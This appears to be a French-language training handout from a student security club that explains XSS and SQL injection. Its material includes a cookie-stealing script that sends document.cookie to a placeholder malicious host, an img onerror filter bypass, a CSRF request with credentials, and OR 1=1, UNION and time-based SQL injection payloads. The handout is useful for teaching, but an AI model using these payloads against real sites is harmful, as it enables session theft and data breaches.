XSS & SQL avancés

HackademINT

28 septembre 2021

Table des matières

1 Failles XSS

1.1 Principe général

Les failles XSS, signifiant *Cross-Site Scripting*, sont les failles les plus répandues sur le web. Le principe est assez simple : il consiste à injecter un script dans la page d'un autre utilisateur, pour par exemple voler son cookie de session.

Prenons un exemple basique : un site web permettant aux utilisateurs de poster des commentaires. S'il n'y a pas de protection, un utilisateur pourrait poster un commentaire tel que :

```
Ceci est mon commentaire...
<script>
alert("Injection de code !");
</script>
```

Lorsque le commentaire sera chargé, le code contenu sera exécuté par le navigateur du client. Ainsi, poster le commentaire suivant peut permettre de voler le cookie de session d'un utilisateur :

```
Ceci est mon commentaire...
<script>
window.location="sitemalveillant.com/" + encodeURI( document.cookie );
</script>
```

Après l'envoi du commentaire, l'attaquant n'a plus qu'à regarder les requêtes faites à son serveur.

Il existe évidemment des protections contre ces failles, mais toutes ne sont pas parfaites.

Pourquoi le code est-il exécuté ? Parce que lorsque le commentaire est chargé, il fait partie du code source de la page. Donc tout ce qu'il contient est interprété par le navigateur, dont le code qu'il

peut contenir. Par exemple, la page contenant le commentaire avec l'attaque XSS ressemblerait à ceci :

```
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Page des commentaires !</title>
    </head>
    <body>
        <div class='commentaire'>
            Ceci est mon commentaire...
            <script>
            window.location="sitemalveillant.com/" +
            ↪  encodeURI(document.cookie);
            </script>
        </div>
    </body>
</html>
```

On voit donc que le « commentaire » posté sera interprété comme n'importe que autre élément de la page.

1.2 Filtres

Certains serveurs peuvent avoir implémenté des filtres pour prévenir ces attaques. Cependant, ces filtres ne sont pas forcément parfaits : le filtre le plus basique se contente de filtrer la balise `<script>`, ce qui est facilement contournable.

Le HTML est en effet très complexe, et il existe de nombreuses manières d'exécuter du JavaScript. un moyen simple est l'attribut `onerror` de la balise `img` :

```
Ceci est mon commentaire...
<img src=0 onerror="alert(1)">
```

Le principe ici est de mettre une source d'image inexistante. Quand la balise est interprétée, le chemin n'existant pas, une erreur va survenir et l'attribut `onerror` va entrer en jeu. Ce qu'il contient sera interprété, ici le code JavaScript `alert(1)`. Il suffit de mettre l'attaque en argument de `onerror`.

1.3 HttpOnly

HttpOnly est une propriété d'un cookie, qui indique au navigateur que le cookie en question doit ne pas être accessible via un langage de script, tel que JavaScript. Ce qui est plutôt problématique pour nous, puisque c'est exactement ce que nous essayons de faire...

Le cookie n'est donc transmis que lors d'une requête HTTP.

(Mal)Heureusement, il existe un moyen de contourner cette protection indirectement.

```
var xhr = new XmlHttpRequest();
xhr.open("GET", "http://monsite.com/", true);
xhr.withCredentials = true;
xhr.send(null);
```

XmlHttpRequest est un objet utilisé pour interagir avec des serveurs Web. Il est assez puissant, et sert entre autres à faire des requêtes HTTP vers une URL.

Dans le code ci-dessus, les lignes 1 et 2 consistent à créer l'objet xhr qui va gérer la requête. La troisième ligne, avec `xhr.withCredentials = true`, indique que les cookies du site `http://monsite.com` doivent être envoyés avec la requête HTTP. La dernière ligne envoie la requête.

On ne peut pas récupérer le cookie. Mais en créant correctement une requête, on peut faire en sorte qu'un utilisateur avec des droits fasse une action à notre place. On pourrait par exemple le forcer à nous mettre administrateur, supprimer un message, nous donner des droits...

Ce type d'attaque, où l'on force un utilisateur à faire une requête s'appelle une attaque CSRF (*Cross-site request forgery*).

2 Injection SQL

2.1 Principe général

Les injections SQL sont des failles très répandues et aux conséquences aisément catastrophiques. Elles sont très simples à mettre en œuvre. Prenons un exemple de code classique trouvé sur les serveurs en PHP :

```
...

<?php
$sql = "SELECT *
FROM chall
WHERE is_public=1 AND message LIKE '%{$_REQUEST['search']}%'";

if ($search) {
    echo("Résultats pour : ".$search."<br>");
}

$result = $db->query($sql);
?>

...
```

`{$_REQUEST['search']}` est une variable intégrée dans la chaîne de caractères, *accolades comprises.*

La faille repose ici dans la déclaration de la variable `\$SQL`. Quand un utilisateur entre par exemple « ville », la variable devient :
`"... AND message LIKE '%ville%'"`.

Mais lorsque l'utilisateur fait l'attaque SQL en entrant un guillemet simple, la variable devient `"... AND message LIKE '%'%'"`. Cette requête n'est pas valide en SQL, ce qui signifie que sa nature a été altérée. En effet, la requête va cherche un message ressemblant à `'%'`, et c'est le reste qui cause l'erreur : `%'`.

Pour faire quelque chose de vraiment utile, il faut déjà se débarrasser de l'erreur. Pour cela, on utilise généralement des commentaires. Il en existe plusieurs types, qui peuvent dépendre du SGBD (Système de Gestion de Bases de Données) utilisé. Les plus communs sont `/* commentaire */` qui fonctionne sur plusieurs lignes, `# commentaire` et `-- commentaire`.

`-- commentaire` fonctionne sous tous les SGBD, mais **il est nécessaire d'ajouter un espace après les deux tirets** ! Pour cette raison, on termine souvent les injections par `-- -` à la place de `--` , pour être sûr de ne pas oublier l'espace.

Une fois l'ajout du commentaire, l'injection devient `' -- -`. La requête est alors "... AND message LIKE '%' – -%'", ce qui est valide : là, on vient de prendre le contrôle de la requête.

Désormais, que faire ? Dans notre cas, l'objectif est de récupérer toutes les données de la base de données. Le but va être de se débarasser du `LIKE '\%'`. Pour cela, on va utiliser les opérations logiques, dans notre cas, « OR ». Pour récupérer toutes les informations, il faut utiliser une condition qui est tout le temps vraie, comme `1=1`.

En additionnant tout ça, l'injection finale devient `' OR 1=1 -- -`. La requête SQL exécutée par le serveur est alors :

```
SELECT *
FROM chall
WHERE is_public=1 AND message LIKE '%' OR 1=1 -- -%'
```

Le serveur retournera toutes les données de la table *chall*, l'injection est terminée.

2.2 Union

Dans certains cas, les données sensibles ne sont pas sotckées dans la table qui est directement accessible ; mais elles ne sont pas protégées pour autant. Prenons un exemple réaliste : un magasin dispose d'un moteur de recherche, qui fait des requêtes dans la table des produits vendus. Une autre table contient les données des clients, dont leurs mots de passes ou autres.

Le fonction de recherche est vulnérable à une injection SQL, mais comment récupérer les données intéressantes ?

2.2.1 Trouver les noms des tables

La première étape est de repérer les tables qui nous concernent. On ne connaît pas forcément leur nom. Il est possible de les deviner dans certains cas, mais il vaut mieux partir du principe que les noms des tables sont inconnus.

Pour cela, on peut s'aider de fiches disponibles sur certains sites web qui fournissent des noms de table spécifiques au système de gestion des bases de données.

Prenons en exemple un système avec MySQL :

```sql
SELECT table_schema, table_name FROM information_schema.columns
WHERE column_name = 'username';
-- Touve les tables qui ont une colonne nommée 'username'
```

Cette commande permet de fournir les noms des tables qui se trouvent dans la base de données. Le `WHERE column_name = 'username'` est optionnel, il sert à écrémer les résultats en ne sélectionnant que des tables qui sont probablement pertinentes. Il est à noter que cette requête fonctionne avec *MySQL*, mais pas *SQLite* ou *Oracle Database* par exemple.

2.2.2 Exploiter la requête

Nous avons donc un moyen de trouver les noms des tables. Que faire ensuite ? Il faut désormais trouver un moyen d'afficher des données arbitraire sur le site. Pour cela, on va utiliser une fonctionnalité de SQL, appelée « UNION ».

Le principe de l'union est simple : il concatène des résultats d'une requête avec les résultats d'une autre requête. On obtient à la fin un tableau dont les lignes contiennent les résultats des deux requêtes.

Le code gérant la recherche peut ressembler à ceci :

```php
...

<?php
$sql = "SELECT id, name, description, price, quantity
FROM produits
WHERE description LIKE '%{$_REQUEST['search']}%'";

if ($search) {
    echo("Résultats pour : ".$search."<br>");
}

$results = $db->query($sql);

foreach($results as $r) {
    echo($r.name . " | "  $r.price . " | " . $r.quantity . "\n" .
    ↪  $r.description);
}
?>

...
```

En ajoutant le code trouvé précédemment, on obtient en injectant avec l'union :

```sql
SELECT id, name, description, price, quantity
FROM produits
WHERE description LIKE '%'
UNION
SELECT table_schema, table_name FROM information_schema.columns -- -%'
```

Problème, *ce code n'est pas valide* ! En effet, pour que la requête avec l'union fonctionne, **il est nécessaire que les deux requêtes aient le même nombre de colonnes** !

Pour contourner ce problème, on égalise le nombre de colonnes des deux côtés. Puisqu'on ne peut pas changer le nombre de colonnes de la première requête, il faut agir sur la seconde. Heureusement, SQL offre un moyen très simple d'ajouter des colonnes à une requête : il suffit de faire `SELECT table_schema, table_name, 1, 1, 1 FROM ...` pour ajouter trois colonnes et ainsi équilibrer les deux cotés, les nouvelles colonnes étant simplement remplies de « 1 ».

Certaines données de la requête pouvant ne pas être affichées (comme la colonne id), il peut être nécessaire de changer l'ordre des colonnes de la deuxième requête. On aura alors :

```sql
SELECT id, name, description, price, quantity
FROM produits
WHERE description LIKE '%'
UNION
SELECT 1, table_schema, table_name, 1, 1 FROM information_schema.columns --
↪  -%'
```

Il ne reste désormais qu'à faire le tri dans les données affichées, et trouver les tables intéressante. Un fois ceci fait, on adapte la requête pour obtenir ce qui nous intéresse.

2.3 Injection basée sur le temps

Parfois une injection est possible, mais afficher le contenu de la requête ne l'est pas. On peut envisager un système de connexion qui se contente de vérifier si un utilisateur est bien dans la base de données avec le bon mot de passe. Dans ce cas, le développeur n'a aucune raison d'envoyer des données au client. Il faut donc trouver un moyen d'exploiter l'injection qui nous permette de déduire les données présentes sur la base de données.

Le principe est encore une fois assez simple, mais ici l'exécution l'est moins. On utilise une fonction fournie par SQL, qui est `SLEEP()` . Elle prend en argument un flottant, qui correspond au nombre de secondes à attendre. Durant ce laps de temps, la requête se met en pause, ce qui nous est très utile : nous disposons désormais d'un moyen d'extraire des données sur serveur !

En effet, il est possible avec SQL de faire des test avec des `IF` , des `ELSIF` et `ELSE` . Grâce à la fonction `SLEEP` , on peut connaître le résultat d'un tel test en le mettant dans le bloc correspondant au `IF` ou au `ELSE` . Si la requête est longue à exécuter, alors on sait que le `SLEEP` a été exécuté, et donc quel est le résultat du test.

Dans la pratique, le nom de la fonction peut dépendre du système de gestion des bases de données utilisé sur le serveur, mais le principe est exactement le même. Sur *Microsoft SQL Server*, la commande à utiliser est de la forme `WAITFOR DELAY '00:00:10'` pour attendre 10 secondes.

3 Ressources

Que ce soit pour les attaques XSS et ses nombreux moyens de contourner les filtres (certaines attaques dépendent même du navigateur !), les attaques SQL avec les différents moyens de les exploiter et ses nombreux SGBD différents, il est difficile voire impossible de connaître par cœur toutes les attaques possibles et les moyens d'y parvenir. Heureusement, des gens ont regroupé toutes ces informations et les ont mises à disposition sur internet !

Spoiler : *toutes les ressources présentées ici sont en anglais. Ce n'est pas parce qu'on n'aime pas la langue de Molière, mais parce que toutes les personnes qui travaillent dans le domaine de l'informatique à travers le monde échangent à travers cette langue. Si vous voulez intégrer cette communauté et pouvoir profiter à fond de tout ce qu'elle a à vous apprendre, il va falloir s'y coller, désolé !*

3.1 Payload All The Things

Ce repo github contient une liste assez impressionnante de payloads pour de nombreuses catégories d'attaques, dont le XSS et les injections SQL, mais aussi **beaucoup** d'autres (hésitez pas à fouiller voir s'il n'y a pas des failles que vous connaissez déjà, et d'y retourner de temps en temps après avoir appris des choses pour approfondir !)
Il est important d'avoir déjà des connaissances sur l'attaque en question en revanche, car il n'y a que des listes de payloads et quasiment aucune explication. Ne vous amusez pas à tenter des attaques au hasard, vous perdrez votre temps et dans l'éventualité ou vous réussirez, vous n'aurez rien compris et donc rien appris et pas progressé...

3.2 Pentest Monkey

Une autre ressource qui contient de nombreuses attaques, dont une liste très complète pour les injections SQL. Son principal intérêt réside dans le fait que les listes sont triées par SGBD, ce qui évite de chercher pendant des heures comment trouver le nom des tables sur tel ou tel système.

3.3 HackTricks

Ressource **très** complète, le gitbook HackTricks contient des explications sur de nombreuses attaques et les payloads associés. Il y a sûrement moins de contenu en termes de possibilité d'attaques, mais le fait que toutes les attaques sont expliquées en détail fait que cette ressource vous sera toujours utile.
Vous y retrouverez notamment une page générique sur les injections SQL qui reprend tout ce qu'on a pu dire ici et va même plus loin, et une autre page dédiée au XSS. En utilisant l'outil de recherche vous verrez que ces deux pages sont loin d'être les seules informations sur le SQL / XSS que ce site a à offrir. Et avec la possibilité de comprendre en détail chaque payload, c'est encore mieux !

3.4 PortSwigger WebSecurity Academy

Cette dernière ressource est particulière car elle propose des cours disponibles à tous que vous pouvez tenter de suivre. Le XSS et le SQL sont présents, ainsi que d'autres failles Web connues. L'entreprise créatrice de ce cours est la même que celle qui a développé **Burp Suite**, un intercepteur Web très utilisé.
Son principal avantage que ne possède aucune autre ressource présentée ici est sa liste de payloads XSS : vous avez notamment la **compatibilité selon les navigateurs**, une description de tous les events et la possibilité de faire des recherches en fonction de plusieurs critères.

3.5 Endpoint

Pipedream, Ngrok et RequestBin permettent d'obtenir une sorte de serveur avec un nom de domaine, ce qui vous permet de regarder quels URL ont étés demandés.